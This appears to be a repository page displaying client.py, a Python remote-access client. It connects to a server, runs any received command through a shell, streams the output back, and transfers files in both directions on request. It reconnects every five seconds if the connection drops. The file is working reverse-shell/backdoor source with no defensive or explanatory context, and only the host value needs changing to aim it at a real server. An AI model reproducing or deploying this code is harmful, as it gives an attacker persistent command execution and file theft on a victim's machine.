-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.py
89 lines (70 loc) · 2.16 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import socket
import time
import subprocess
from threading import Thread
import os
HOST = 'localhost'
PORT = 2222
def upload(server):
filename = server.recv(1024*1025).decode()
if os.path.exists(filename):
filesize = os.path.getsize(filename)
server.send(str(filesize).encode())
with open(filename , 'rb') as file:
while True:
chunk = file.read(1024*1024*10)
if not chunk:
break
else:
server.send(chunk)
server.send(b'loop breaked')
print('loop breaked')
def download(server):
path = server.recv(1024*1024*5).decode()
with open(path , 'wb') as f:
while True:
chunk = server.recv(1024*1024*50)
if chunk ==b'upload' or not chunk:
break
else:
f.write(chunk)
server.send(b'received')
def sendRes(server , prompt ):
g = 0
while True:
res = prompt.stdout.readline()
if not res:
g +=1
else:
server.send(res if isinstance(res , bytes) else res.encode())
if g>15:
server.send(b'code to terminate')
break
print('loop breaked')
def handleRecv(server):
while True:
cmd = server.recv(1024*1024*5).decode()
if cmd.lower().startswith('cd') and not cmd.lower() == 'cd':
try:
os.chdir(cmd.split(' ')[1])
except:
server.send(b'cannot change dir!!')
elif cmd.lower()=='upload':
download(server)
elif cmd.lower() == 'download':
r = upload(server)
else:
prompt = subprocess.Popen(cmd , shell = True , stdout = subprocess.PIPE , stderr = subprocess.PIPE)
t = Thread(target = lambda : sendRes(server , prompt ))
t.daemon = True
t.start()
def main():
s = socket.socket()
s.connect((HOST , PORT))
handleRecv(s)
while True:
try:
main()
except Exception as e:
print(e)
time.sleep(5)